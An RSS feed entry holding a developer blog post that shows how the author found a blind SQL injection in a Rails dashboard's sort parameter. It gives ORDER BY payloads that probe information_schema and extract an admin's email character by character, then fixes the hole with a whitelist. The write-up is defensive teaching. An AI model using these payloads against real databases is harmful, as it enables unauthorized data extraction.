<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Nikita Pupko</title>
    <description>The latest articles on Forem by Nikita Pupko (@npupko).</description>
    <link>https://forem.com/npupko</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F81282%2Fcd26cdc2-abcf-47cf-af73-5c49814e0890.jpeg</url>
      <title>Forem: Nikita Pupko</title>
      <link>https://forem.com/npupko</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/npupko"/>
    <language>en</language>
    <item>
      <title>Security vulnerabilities – how to find and fix them</title>
      <dc:creator>Nikita Pupko</dc:creator>
      <pubDate>Fri, 02 Jul 2021 14:17:41 +0000</pubDate>
      <link>https://forem.com/datarockets/security-vulnerabilities-how-to-find-and-fix-them-18m7</link>
      <guid>https://forem.com/datarockets/security-vulnerabilities-how-to-find-and-fix-them-18m7</guid>
      <description>&lt;p&gt;This article is about &lt;a href="https://datarockets.com/blog/code/sql-injection-security-vulnerability/"&gt;security vulnerabilities&lt;/a&gt; that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.&lt;/p&gt;

&lt;p&gt;During one of my tasks on the project, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GS6ceTHh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GS6ceTHh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post.png" alt=""&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Here is the HTML code of the &lt;code&gt;Sort&lt;/code&gt; filter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;select&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"order_filter"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"order_filter"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control custom-select"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"last_seen desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Recent First&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"created desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Date Created ⬇&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"created asc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Date Created ⬆&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"title asc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;A-Z&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"title desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Z-A&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/select&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Field name for ordering and order in one place with space between. Put your first thought that came to your mind in the comments. 😄&lt;/p&gt;

&lt;p&gt;My first thought was, “Why does &lt;code&gt;value&lt;/code&gt; look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;keyword: &lt;/span&gt;&lt;span class="vi"&gt;@keyword&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;state_filter: &lt;/span&gt;&lt;span class="vi"&gt;@state_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;order_filter: &lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where &lt;code&gt;filter_results&lt;/code&gt; is just a concern method that calls &lt;code&gt;state_filter&lt;/code&gt; and &lt;code&gt;order_filter&lt;/code&gt; on model if it exists.&lt;/p&gt;

&lt;p&gt;So, in model we just have this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:keyword&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"title like ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"%&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:state_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="ss"&gt;state: &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_filter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;reorder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_filter&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt; &lt;span class="c1"&gt;# &amp;lt;- IMPORTANT LINE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’&lt;br&gt;
Source: &lt;a href="https://apidock.com/rails/ActiveRecord/QueryMethods/reorder"&gt;https://apidock.com/rails/ActiveRecord/QueryMethods/reorder&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello! Let’s play with it a little. Firstly I decided to test the ability to pass different symbols into the query, and it works well.&lt;/p&gt;

&lt;p&gt;I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AnEWk__H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AnEWk__H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-2.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j4tVci-u--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injection-post-3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j4tVci-u--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injection-post-3.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do you remember this game from Tarantino’s &lt;strong&gt;Inglorious Bastards&lt;/strong&gt; film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hVvq5x_6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hVvq5x_6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-4.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Useful construction for &lt;code&gt;ORDER&lt;/code&gt; SQL injection is a:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CASE&lt;/span&gt; &lt;span class="k"&gt;WHEN&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;first_coumn_name&lt;/span&gt; &lt;span class="k"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;second_column_name&lt;/span&gt; &lt;span class="k"&gt;END&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;first_column_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;second_column_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We just need to find a &lt;code&gt;condition&lt;/code&gt; (as a question), and two column names to see the result and put it as &lt;code&gt;ORDER BY&lt;/code&gt; value (like &lt;code&gt;Yes&lt;/code&gt; and &lt;code&gt;No&lt;/code&gt; answers).&lt;/p&gt;

&lt;p&gt;What could we put into the &lt;code&gt;condition&lt;/code&gt; part? Everything. Literally everything.&lt;/p&gt;

&lt;p&gt;How about this?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'is_admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'YES'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'NO'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we have &lt;code&gt;is_admin&lt;/code&gt; column in &lt;code&gt;users&lt;/code&gt; table it should return &lt;code&gt;YES&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s put in into query with column names for sorting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--S-TluD6_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--S-TluD6_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-5.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first card is Fundico, and the second is Area. There is no &lt;code&gt;is_admin&lt;/code&gt; column in the users table. Let’s try just &lt;code&gt;admin&lt;/code&gt; instead:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HZIcAqJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HZIcAqJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-6.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we go! Now we know that we have &lt;code&gt;admin&lt;/code&gt; column in our &lt;code&gt;users&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;P.S. The full query with injected code looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; 
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;DISTINCT&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`deal_id`&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt; &lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;OUTER&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="nv"&gt;`team_members`&lt;/span&gt; 
    &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="nv"&gt;`team_members`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`cool_dude_id`&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; 
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`state`&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table_2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=***&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;team_members&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=***&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; 
  &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s find the rest of the data by analogy. Firstly we need to find &lt;code&gt;email&lt;/code&gt; of any admin user to get access to the system.&lt;/p&gt;

&lt;p&gt;We could do this symbol by symbol using ASCII table:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Hc9Cuwnj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Hc9Cuwnj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-7.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We just need to paste all symbols one by one and look for a match:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query returns true if the first ASCII code of symbol in the &lt;code&gt;email&lt;/code&gt; of the first admin equals &lt;code&gt;105&lt;/code&gt; (I.e., the first symbol of email is &lt;code&gt;i&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Then we go for the second symbol using &lt;code&gt;ASCII(SUBSTRING(email, 2, 1))&lt;/code&gt; and find all symbols one by one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Use wrappers, like hashes and arrays. Don’t use &lt;code&gt;User.where(“name = ‘#{params[:name]'”)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;User.where([“name = ?”, “#{params[:name]}”])&lt;/code&gt; or &lt;code&gt;User.where({ name: params[:name] })&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;This vulnerability can be fixed using just one line, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;ORDER_FILTERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;title_asc: &lt;/span&gt;&lt;span class="s1"&gt;'title asc'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;created_at_asc: &lt;/span&gt;&lt;span class="s1"&gt;'created_at asc'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;order_filter: &lt;/span&gt;&lt;span class="no"&gt;ORDER_FILTERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>sql</category>
      <category>ruby</category>
      <category>rails</category>
    </item>
  </channel>
</rss>
